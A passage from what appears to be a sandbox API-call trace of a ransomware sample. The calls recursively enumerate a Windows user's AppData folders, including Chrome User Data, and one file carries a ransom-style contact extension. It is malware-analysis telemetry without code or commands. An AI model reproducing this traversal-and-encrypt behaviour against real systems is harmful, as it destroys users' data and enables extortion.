hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0096.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694300 | out: hHeap=0x5b0000) returned 1 [0096.814] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0 [0096.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9ca0 [0096.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.814] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0096.814] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0096.814] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.815] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0096.815] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1 [0096.815] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0 [0096.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0096.815] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0096.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.816] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0 [0096.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0096.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.816] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0096.818] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0096.818] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.819] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0096.819] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0 [0096.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.819] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0096.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0096.819] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0096.819] lstrcmpW (lpString1="Deployment", lpString2=".") returned 1 [0096.819] lstrcmpW (lpString1="Deployment", lpString2="..") returned 1 [0096.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d538 [0096.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x694300 [0096.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694268 | out: hHeap=0x5b0000) returned 1 [0096.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0096.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0096.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.820] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0096.820] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.820] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.820] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.820] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.820] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0096.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x5e9ca0 [0096.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.820] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0096.820] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0096.821] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.821] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0096.821] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0096.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0096.821] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa7053000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1aa38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GDIPFO~1.PAR")) returned 1 [0096.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0096.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.821] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.821] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0096.821] CloseHandle (hObject=0x260) returned 1 [0096.821] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0096.821] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0096.821] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0096.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x694268 [0096.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694300 | out: hHeap=0x5b0000) returned 1 [0096.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0096.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.821] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0096.822] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.822] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.822] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.822] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.822] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0096.822] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0096.822] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0096.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0096.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x5e9ca0 [0096.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0096.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.822] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0096.822] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.822] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.823] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.823] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.824] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbad360c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbad360c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0096.824] lstrcmpW (lpString1="User Data", lpString2=".") returned 1 [0096.824] lstrcmpW (lpString1="User Data", lpString2="..") returned 1 [0096.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d538 [0096.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0096.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x2218168 [0096.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0096.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694300 [0096.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.824] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.824] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.824] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbad360c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbad360c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.825] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.825] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.825] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0096.825] lstrcmpW (lpString1="CertificateTransparency", lpString2=".") returned 1 [0096.825] lstrcmpW (lpString1="CertificateTransparency", lpString2="..") returned 1 [0096.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x601838 [0096.825] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.825] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.825] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22180a0 [0096.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.825] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.825] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.825] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.826] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.826] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.826] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.826] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2218230 [0096.826] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.826] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0096.826] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.826] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.826] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2218230 | out: hHeap=0x5b0000) returned 1 [0096.827] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0096.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22180a0 | out: hHeap=0x5b0000) returned 1 [0096.827] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, 